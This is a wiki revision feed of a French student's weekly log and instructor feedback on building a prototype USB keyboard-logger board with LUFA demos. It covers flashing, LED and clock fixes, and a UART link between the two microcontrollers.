&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keyboard_to_PC.zip&amp;diff=750</id>
		<title>Fichier:Keyboard to PC.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keyboard_to_PC.zip&amp;diff=750"/>
		<updated>2023-08-08T10:02:42Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Programmes Keyboard et KeyboardHost pour le keylogger. Clavier to PC via le Keylooger (implémentation mémoire non effectué)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keyboard et KeyboardHost pour le keylogger. Clavier to PC via le Keylooger (implémentation mémoire non effectué)&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=749</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=749"/>
		<updated>2023-08-08T10:00:25Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Rapport et ajout de vidéo : Clavier vers PC via le KeyLogger&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un de mes arduino qui n'est plus fonctionnel.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écris dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]].&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]].&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrive pas encore à récupérer les touches tapés via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, et ai filmé une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]].&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'Atmega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai modifiés légèrement pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoie de caractère où j'envoie directement le code HID obtenue via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes Keyboard et KeyboardHost qui sont exécutés respectivement sur l'Atmega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keyboard_PC.mp4&amp;diff=748</id>
		<title>Fichier:Keyboard PC.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keyboard_PC.mp4&amp;diff=748"/>
		<updated>2023-08-08T09:46:11Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Vidéo montrant le Keylogger (sans la mémoire) en action. Liaison Clavier-&amp;gt;AT90-&amp;gt;Atmega-&amp;gt;PC&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Vidéo montrant le Keylogger (sans la mémoire) en action. Liaison Clavier-&amp;gt;AT90-&amp;gt;Atmega-&amp;gt;PC&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=742</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=742"/>
		<updated>2023-08-07T13:28:25Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Ajout vidéo KeyboardHost et Arduino LCD&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
